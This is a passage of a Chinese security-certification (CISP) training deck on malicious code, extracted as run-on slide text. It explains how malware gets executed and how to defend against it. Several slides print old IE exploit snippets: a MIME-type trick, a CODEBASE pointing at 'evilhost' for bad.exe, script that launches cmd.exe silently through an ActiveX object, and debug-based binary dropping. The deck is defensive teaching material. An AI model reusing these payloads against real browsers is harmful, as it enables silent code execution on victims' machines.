《注册信息安全专业人员CISP-2-恶意代码》由会员分享,可在线阅读,更多相关《注册信息安全专业人员CISP-2-恶意代码(41页珍藏版)》请在金锄头文库上搜索。
1、Overview 什么是恶意代码 恶意代码如何会在你的系统上运行 防御恶意代码 什么是恶意代码 二进制文件 病毒、木马、逻辑炸弹 脚本 各种脚本语言嵌入文档的脚本 宏 什么是宏 Bimary File Format 恶意代码如何会被运行 伪装成有用的文件 嵌入其他文件 利用系统漏洞 欺骗 Overview 什么是恶意代码 方向 服务器客户端、p2p 客户端服务器 恶意代码如何会在你的系统上运行 防御恶意代码 伪装成有用的文件 Bind Exploit Php OF Exploit 邮件欺骗 Wantjob变种 “中国黑客” “You win free porn” 嵌入其他文件 二进制可执行文件
2、嵌入 病毒式的感染 insertcode.exe EXEbind 脚本嵌入 Word系列文件、lotus系列文件 HTML! 利用系统漏洞 lotus Notes 邮件对象嵌入(略) Word 2000带有模板文件链接的RTF文件(略) 利用flash本身的漏洞 =6.0.29 畸形文件头缓冲区溢出 6.0.29 movie参数缓冲区溢出 IE的多个问题 OE、outlook、foxmail IE的多个问题 IE 5.5 以下异常处理MIME头 IE 5.5 以下com.ms.activeX.ActiveXComponent对象嵌入 IE 5.5 以下codebase指向 IE 6.0 win
3、dow.PoPup()window.Open() 如何利用来运行指定的程序 IE 5.5 以下异常处理MIME头 nimda、wantjob、中国黑客、爱情森林 Content-Type: audio/x-wav; name=hello.bat Content-Transfer-Encoding: quoted-printable Content-ID: cmd.exe com.ms.activeX.ActiveXComponent对象嵌入 IE 5.5 以下codebase指向 CLSID不为0 CODEBASE指向绝对路径 IE 6.0 window.PoPup()window.Open(
4、) IE 5.5 CODEBASE问题的延续 使用window.PoPup()或window.Open()调用创建一 个新对象 var oPopup = window.createPopup(); function openPopupCMD() var oPopBody = oPopup.document.body; oPopBody.innerHTML = ; oPopup.show( document.body); setTimeout(openPopupCMD(),10); 如何利用来运行指定的程序 Codebase问题 预先上传的程序 UNC路径 CODEBASE = evilhost
5、sharebad.exe com.ms.activeX.ActiveXComponent对象嵌入 预先上传的程序 UNC路径 D 利用HTML运行任意程序 预备知识 几个debug命令 几个对象 几个D命令 a 汇编命令,将汇编语句直接装配到存储器中 r 寄存器命令,显示和设置寄存器AX、BX、CX、 DX等 n 命名命令 w 写命令,将指定数据写到磁盘上 q 退出 几个对象 WshNetwork 对象 提供对 Microsoft Windows 网络的访问,包括使用远程驱动器和打印机 WshShell 对象 启动进程,读写注册表 几个对象 FileSystemObject 对象 进行所有可能
6、的文件操作,包括NTFS提供的一些特性。 Shell.Application 对象 浏览目录,运行程序。 利用HTML运行任意程序 调用ActiveX对象可以进行很多功能强大的操作,如运行 程序等。但在执行较危险的调用时都会有警告信息。如 将下面这行代码加到一个HTML文件中,运行会提示: “该网页上的某些软件(ActiveX控件)可能不安全。建 议您不要运行。是否允许运行?” wsh.Run(cmd.exe); /把cmd.exe改为则对Windows 95/98/ME也 有效,下同。 利用HTML运行任意程序 同样使用这个OBJECT,嵌入com.ms.activeX.ActiveXCom
7、ponent对 象后,在IE的默认安全级别“中”状态下也同样可以运行。打开 包含以下脚本的HTML文件也会运行一个命令提示符,但没有任 何警告。甚至还可以使程序在后台运行。 利用HTML运行任意程序 function runcmd() a=document.applets0; a.setCLSID(F935DC22-1CF0-11D0-ADB9-00C04FD58A0B); a.createInstance(); wsh=a.GetObject(); wsh.Run(cmd.exe);/改为wsh.Run(cmd.exe,false,1);则 程序在后台隐藏运行 setTimeout(runc
8、md(),10); 利用HTML运行任意程序 还可以通过WSHShell对象运行任何程序、获取主 机信息、读写注册表;通过FileSystem对象任意 操作文件;通过CDONTS.NewMail对象发邮件等 等。很多所谓“恶意网页”都通过类似手段改写 访问者的注册表,一些网页型病毒如著名的“万 花谷”病毒也是采用了此方法。 事实上Windows下的脚本已经足够强大,但值得 一提的是还可以通过巧妙的运用debug的输入重 定向还可以创建二进制文件再加以调用。 利用HTML运行任意程序 wsh.Run(cmd.exe /c echo atest.dbg,false,1); wsh.Run(cmd.
9、exe /c echo dw 5a4d 90 3 0 4 0 ffff 0 b8 0 0 0 40 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 test.dbg,false,1); wsh.Run(cmd.exe /c echo. test.dbg,false,1);/ 写一个空行,Windows NT/2K可以这样写,Windows 95/98/ME 未测试 wsh.Run(cmd.exe /c debug“Internet 选项.”-“安全”-“Internet”(或者其 他区域,例如“本地Intranet”、“受信任的站点”)点击“自定 义级别”,在“安全设置”中
10、选择“脚本”-“活动脚本”,将其 属性改为“禁用”,按“确定”保存设置。 针对利用IE问题的对策 4、在IE中设置禁止下载: 选择:“工具”-“Internet 选项.”-“安全”-“Internet”(或者其 他区域,例如“本地Intranet”、“受信任的站点”)点击“自定 义级别”,在“安全设置”中选择“下载”-“文件下载”,将其 属性改为“禁用”,按“确定”保存设置。 其它问题 邮件中的恶意代码 IE 带来的问题 客户端本身的问题 对象包装程序 宏观上的对策 用户安全意识 反恶意代码邮件网关 检查html邮件及附件 基于主机的反病毒程序 检测网页及邮件恶意代码 反病毒网关 检测网页、ftp下载、邮件等 使用其它浏览器(opera) 客户端服务器 虚拟主机的问题和提供CGI的WEB空间服务 ASP、PERL、PHP、JSP 查看系统文件、执行系统命令、查看其他用户的CGI源码 客户端服务器 调用系统命令 system()、passthru()、exec()、WSH Runtime.getRuntime().exec() 读写文件 FSO fopen() 客户端服务器 对策 删除危险对象 配置文件,限制函数 php.ini disable_functions = 正确设置权限 参考 问题?